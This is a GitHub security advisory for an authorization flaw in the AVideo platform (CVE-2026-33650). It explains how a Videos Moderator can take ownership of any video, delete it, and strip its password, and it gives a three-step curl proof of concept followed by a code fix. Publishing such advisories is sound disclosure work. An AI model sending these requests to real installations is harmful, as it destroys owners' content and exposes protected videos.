GitHub Advisoryadvisory · Packagist
GHSA-8x77-f38v-4m5j AVideo: Video Moderator Privilege Escalation via Ownership Transfer Enables Arbitrary Video Deletion
HIGH
Official page ↗
- Aliases
- CVE-2026-33650
- Ecosystem
- Packagist
- Packages
- wwbn/avideo
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L
- Weaknesses
- CWE-863
- Reviewed
- 2026-03-25
Affected packages
• Packagist wwbn/avideo: <= 26.0 (no fix yet)
Description
Summary
A user with the "Videos Moderator" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that `Permissions::canModerateVideos()` is used as an authorization gate for full video editing in `videoAddNew.json.php`, while `videoDelete.json.php` only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain.
Details
The `PERMISSION_INACTIVATEVIDEOS` (ID 11) permission is described as a limited moderator role in `plugin/Permissions/Permissions.php:213`:
```php
$permissions[] = new PluginPermissionOption(
Permissions::PERMISSION_INACTIVATEVIDEOS,
__('Videos Moderator'),
__('This is a level below the (Videos Admin), this type of user can change the video publicity (Active, Inactive, Unlisted)'),
'Permissions'
);
```
However, `Permissions::canModerateVideos()` (`Permissions.php:175`) is reused as an authorization gate in multiple locations in `videoAddNew.json.php` that go far beyond status changes:
1. Upload gate bypass (`videoAddNew.json.php:10`):
`User::canUpload()` (`user.php:2650`) returns `true` if `Permissions::canModerateVideos()` is true, granting moderators upload access.
2. Edit gate bypass (`videoAddNew.json.php:19`):
```php
if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {
die('{"error":"2 ' . __("Permission denied") . '"}');
}
```
`Video::canEdit()` correctly checks only `canAdminVideos()` and ownership, but the `|| !Permissions::canModerateVideos()` fallback allows moderators to edit any video.
3. Ownership transfer (`videoAddNew.json.php:222`):
```php
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() ||
Users_affiliations::isUserAffiliateOrCompanyToEachOther($obj->getUsers_id(), $_POST['users_id'])) {
$obj->setUsers_id($_POST['users_id']);
}
```
`userCanChangeVideoOwner` defaults to `false` (`CustomizeUser.php:286`), but `canModerateVideos()` provides an unconditional bypass, allowing any moderator to reassign ownership of any video.
4. Delete via ownership (`videoDelete.json.php:22-28`):
```php
if(empty($video->getUsers_id()) || $video->getUsers_id() != User::getId()){
if (!$video->userCanManageVideo()) {
// denied
}
}
$id = $video->delete();
```
`userCanManageVideo()` (`video.php:3614`) checks `canAdminVideos()` (not `canModerateVideos()`), then falls back to ownership. After the ownership transfer in step 3, the moderator is now the owner, so this check passes.
The authorization asymmetry: `videoAddNew.json.php` treats `canModerateVideos()` as equivalent to `canAdminVideos()`, but `videoDelete.json.php` and `userCanManageVideo()` do not — creating a gap exploitable by transferring ownership first.
Additional fields a moderator can modify beyond their intended scope:
• `only_for_paid` (line 210) — make premium content free
• `video_password` (line 211) — change/remove password protection
• `categories_id` (line 168) — alter content categorization
• `videoGroups` (line 175) — modify user group visibility
PoC
Prerequisites: An account with the "Videos Moderator" permission (PERMISSION_INACTIVATEVIDEOS = 11) and a target video ID owned by another user.
Step 1: Transfer ownership of target video to attacker
```bash
ATTACKER_USER_ID = moderator's user ID
TARGET_VIDEO_ID = ID of video owned by another user (e.g., admin)
curl -s -b cookies.txt -X POST \
'http://localhost/objects/videoAddNew.json.php' \
-d "id=TARGET_VIDEO_ID&users_id=ATTACKER_USER_ID&title=unchanged"
```
Expected response: `{"status":true, ...}` — ownership is now transferred to the attacker.
Step 2: Delete the video (now owned by attacker)
```bash
curl -s -b cookies.txt -X POST \
'http://localhost/objects/videoDelete.json.php' \
-d "id[]=TARGET_VIDEO_ID"
```
Expected response: `{"error":false, ...}` — video is deleted. The owner check at line 22 passes because the moderator is now the recorded owner.
Step 3 (additional impact): Access password-protected video
```bash
curl -s -b cookies.txt -X POST \
'http://localhost/objects/videoAddNew.json.php' \
-d "id=TARGET_VIDEO_ID&video_password=&title=unchanged"
```
This removes the video password, granting the moderator (and everyone) access to previously protected content.
Impact
• Arbitrary video deletion: A Videos Moderator can delete any video on the platform, including admin-owned content, by first transferring ownership to themselves then deleting.
• Content tampering: Moderator can change paid content flags (`only_for_paid`), video passwords, categories, and user group visibility on any video — all exceeding the documented scope of "change video publicity."
• Access control bypass: Password-protected videos can have their passwords removed, exposing restricted content.
• Integrity loss: Video ownership records are corrupted, making audit trails unreliable.
• Availability impact: Targeted deletion of high-value content with no authorization check appropriate to the destructive action.
The blast radius is any video on the platform. Any user granted the "Videos Moderator" role — which administrators may grant freely assuming it only allows status changes — gains effective full video management capabilities.
Recommended Fix
Replace `Permissions::canModerateVideos()` with `Permissions::canAdminVideos()` in `videoAddNew.json.php` where full edit capabilities are granted. Keep `canModerateVideos()` only for the specific status/publicity change operations it was designed for.
Fix for ownership transfer (`videoAddNew.json.php:222`):
```php
// Before (vulnerable):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || ...
// After (fixed):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canAdminVideos() || ...
```
Fix for edit gate (`videoAddNew.json.php:19`):
```php
// Before (vulnerable):
if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {
// After (fixed):
if (!Video::canEdit($_POST['id']) && !Permissions::canAdminVideos()) {
```
Then create a separate, narrower code path for moderators that only allows changing video status/publicity fields. Alternatively, refactor `videoAddNew.json.php` to check `canModerateVideos()` only around the specific status-change logic (lines 238-248) and require `canAdminVideos()` for all other fields.
Related
Alias · CVE (1)
- CVE-2026-33650 WWBN AVideo is an open source video platform. vulnerability
Weakness · CWE (1)
- CWE-863 Incorrect Authorization weakness